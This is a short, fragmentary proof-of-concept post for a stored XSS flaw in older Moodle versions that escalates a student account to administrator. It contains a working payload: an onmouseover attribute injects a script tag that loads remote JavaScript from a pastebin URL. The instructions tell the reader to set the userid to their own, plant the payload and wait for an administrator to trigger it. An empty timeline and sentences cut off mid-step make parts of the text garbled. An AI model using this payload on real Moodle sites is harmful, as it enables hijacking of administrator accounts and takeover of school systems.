
Moodle (< 3.6.2, < 3.5.4, < 3.4.7, < 3.1.16) XSS PoC for Privilege Escalation (Student to Admin)
Moodle (< 3.6.2, < 3.5.4, < 3.4.7, < 3.1.16) XSS PoC for Privilege Escalation (Student to Admin). This is one of the past bugs that I discovered during past pentest in an academic institution. It was successful enough at the time to practically steal admin access and gain complete control over Moodle using just one simple bug.
We can see from the git history, the bug existed since old versions of Moodle (2003) and just patched in 2019.
Timeline:
FOR EDUCATIONAL PURPOSES ONLY. DO NOT USE THE EXPLOIT FOR ILLEGAL ACTIVITIES. THE AUTHOR IS NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE.
userid to your own id. Let's say the URL is https://pastebin.com/raw/xxxxxxxx." style="position:fixed;height:100%;width:100%;top:0;left:0" onmouseover="x=document.createElement('script');x.src='https://pastebin.com/raw/xxxxxxxx';document.body.appendChild(x); alert('XSS')/userpix/ page or put the link to that page on your post and wait.If successful, your account will be added as administrator.